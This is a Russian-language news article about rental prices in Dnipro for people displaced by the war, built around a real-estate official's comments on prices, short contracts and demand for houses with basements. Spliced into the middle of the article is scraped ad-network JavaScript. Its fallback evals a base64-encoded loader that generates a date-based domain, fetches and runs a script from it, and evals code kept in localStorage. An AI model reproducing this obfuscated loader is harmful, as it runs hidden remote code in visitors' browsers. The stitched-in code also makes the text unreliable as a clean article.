Уезжающие от военных действий украинцы из Донецкой и Харьковской областей нередко останавливаются именно в Днепре.
Соответственно, спрос на аренду недвижимости в городе вырос, что повлекло за собой ажиотаж на рынке. Но, несмотря на это, стоимость аренды жилья в Днепре все еще сохраняется на довоенном уровне. Об этом в ходе пресс-конференции в ИА «Мост-Днепр» рассказал глава отраслевого совета участников рынка недвижимости в Днепропетровской области Сергей Логутенко, сообщает ОСН.
Он объяснил, что переселенцев, которые останавливаются в Днепре, можно поделить на две категории. Есть люди, которые не могут позволить себе аренду квартиры. Они останавливают свой выбор на социальном жилье, которое обустроено сегодня в спортивных залах, школах, офисах, переоборудованных волонтерами под временное проживание. Вторая категория людей, уезжающих от войны, — это те, кто хочет жить в квартирах, и готовы за них платить.
«Они снимают жилье от 4 до 6 тысяч – это однокомнатная квартира, от 6 до 8 тысяч – двухкомнатная, и трехкомнатные – 10-13 тысяч гривен. Такова стоимость основной массы аренды, которая есть сейчас», — объяснил Сергей Логутенко.
Приблизительно такой же диапазон цен на аренду жилья был в Днепре и в довоенный период, говорит глава отраслевого совета участников рынка недвижимости в Днепропетровской области. Удорожание стоимости недвижимости если и есть, то такие случаи точечные.
«Цены в Днепре на аренду не возросли, а если и увеличились, то точечно – на конкретные квартиры, у конкретных собственников, которые по какой-то причине так считают. Одна из причин – это нагрузка на квартиры стала выше, чем была до войны. Это когда в квартире однокомнатной живут не один-два человека, как правило бывает, а 4-5. Естественно в таком случае нагрузка на квартиру увеличивается», — рассказал Сергей Логутенко. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
А вот модель взаимодействия между арендодателями и арендаторами, добавляет он, изменилась. Если говорить о сдаче в аренду жилья переселенцам, то нередко собственник берет на себя оплату коммунальных услуг или делят ее 50/50.
«Также мы предлагаем собственникам недвижимости, которые сдают жилье людям из зоны активных боевых действий, поменять модель взаимодействия. Речь идет об отказе от гарантийного платежа или его раздроблении. В основном договора сейчас люди заключают на один месяц, так как дальше загадывать сложно. Раньше договора заключались на полгода-год. Есть тенденция, что люди заселяются на один месяц и переезжают дальше через две-тринедели в поиске более тихих, на их взгляд, мест», — сказал глава отраслевого совета участников рынка недвижимости в Днепропетровской области.
Сергей Логутенко говорит: часть людей, которые бежали в Днепре от военных действий 24-26 февраля, уже съехали или сейчас в процессе. Нередки случаи сейчас, добавляет он, когда люди готовы арендовать и частные дома по 20-30 тысяч гривен в месяц, но с обязательным условие:
«Там обязательно должен быть подвал. Подвала нет, дом им такой не подходит. Или же они поселяются в доме без подвала, но продолжают поиски. Что будет с арендой жилья дальше, пока вопрос открытый. Все зависит от того, будет ли у нас в Днепре тихо. К тому же, если объем приезжающих будет увеличиваться, не исключено, что и у нас цены начнут на недвижимость подниматься, так как спрос влияет на рост цены. И, к сожалению, так собственники делают. Вот в Ивано-Франковске, например, сейчас двухкомнатная квартира стоит 500-600 долларов, до войны эта цена была 400 долларов», — резюмировал Сергей Логутенко. (adsbygoogle = window.adsbygoogle || []).push({});
Подписывайтесь на Акцент в 
Источник: https://akzent.zp.ua/stoimost-zhilya-dlya-begushhih-ot-vojny-chto-predlagayut-arendodateli-dnepra/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
